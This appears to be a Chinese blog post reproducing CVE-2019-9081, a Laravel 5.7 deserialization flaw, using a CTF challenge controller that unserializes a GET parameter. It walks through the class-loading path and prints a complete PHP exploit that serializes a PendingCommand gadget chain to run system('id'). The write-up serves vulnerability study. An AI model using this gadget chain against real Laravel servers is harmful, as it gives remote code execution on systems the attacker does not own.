工作生活

laravel反序列化(CVE-2019-9081)

2019-07-17  本文已影响0人  你还没熟

环境

centos7
php7.1.30
laravel5.7.28

复现过程

本次漏洞点在PendingCommand文件中,这个文件定义了PendingCommand类,该类存在__destruct(),在__destruct()中调用了该类的run()。那么就是通过反序列化触发PendingCommand类__destruct析构函数,进而调用其run()实现代码执行


根据已有的exp分析,在PendingCommand类中需要用到的几个属性如下
$this->app;         //一个实例化的类 Illuminate\Foundation\Application
$this->test;        //一个实例化的类 Illuminate\Auth\GenericUser
$this->command;     //要执行的php函数 system
$this->parameters;  //要执行的php函数的参数  array('id')

调试过程

该漏洞存在`laravel组件中,因此要基于Laravel进行二次开发后可能存在此反序列化漏洞,通过qwb题目分析

<?php
namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
    public function index()
    {
        if(isset($_GET['code']))
        {
            $code = $_GET['code'];
            unserialize($code);
            return "Welcome to qiangwangbei!";
        }
    }
}
?>

加载过程
首先是类AliasLoadderload()的调用,使用Laravel框架所带有的Facade功能去尝试加载我们payload中所需要的类。


首先提供所要加载的类是不是其中包含Facades,如果是则通过loadFacade()进行加载


通过load()没有加载成功,调用loadclass()进行加载,

loadclass()中通过调用findfile()尝试通过Laravel中的composer的自动加载功能含有的classmap去尝试寻找要加载的类所对应的类文件位置,此时将会加载vendor目录中所有组件, 并生成namespace + classname的一个 key => value 的 php 数组来对所包含的文件来进行一个匹配

找到类PendingCommand所对应的文件后,将通过includeFile()进行包含

完成类PendingCommand的整个加载流程

exp

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

参考文献:
https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce
https://xz.aliyun.com/t/5510

上一篇 下一篇

猜你喜欢

热点阅读